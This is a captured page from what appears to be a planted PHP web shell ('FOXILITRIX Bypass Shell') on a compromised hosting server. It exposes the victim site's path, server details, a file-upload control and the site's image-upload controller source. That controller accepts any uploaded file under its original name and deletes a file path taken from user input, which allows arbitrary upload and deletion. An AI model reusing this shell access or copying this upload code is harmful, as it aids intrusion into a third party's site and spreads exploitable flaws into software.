FOXILITRIX Bypass Shell

echo"
FOXILITRIX
";
Current Path : /home/baheco/public_html/adm/clases/controlador/producto/

Linux sd-1582531-l.dattaweb.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Upload File :
Current File : /home/baheco/public_html/adm/clases/controlador/producto/controlador-editar-imagen.php

<?php
	if(file_exists($_FILES['imagen']['tmp_name']) || is_uploaded_file($_FILES['imagen']['tmp_name']))
	{
		include_once(dirname(dirname(dirname(__FILE__))).'/modelo/producto.php');
		include_once(dirname(dirname(dirname(__FILE__))).'/datos/datos-producto.php');

		$directorio=dirname(dirname(dirname(dirname(dirname(__FILE__))))).'/img/';
		$correcto='Location: ../../../admin.php?seccion=editar-producto&id='.$_POST["id"].'&operacion=correcto';
		$incorrecto='Location: ../../../admin.php?seccion=editar-producto&id='.$_POST["id"].'&operacion=incorrecto';

		$producto = new Producto();
		$productoDatos = new DatosProducto();
		if(file_exists($directorio.$_FILES['imagen']['name']))
		{
			$archivo=$_POST['id'].'-'.$_FILES['imagen']['name'];
		}
		else
		{
			$archivo=$_FILES['imagen']['name'];
		}
		if(move_uploaded_file($_FILES['imagen']['tmp_name'],$directorio.$archivo))
		{
			$productoDatos->editarImagen($_POST['id'],'imagen'.$_POST['posicion'],$archivo);
			unlink($directorio.$_POST['imagen-vieja']);
			echo $directorio.$archivo;
			header($correcto);
		}
		else
		{
			header($incorrecto);
		}
	}
	else
	{
		header($incorrecto);
	}
?>

bypass 1.0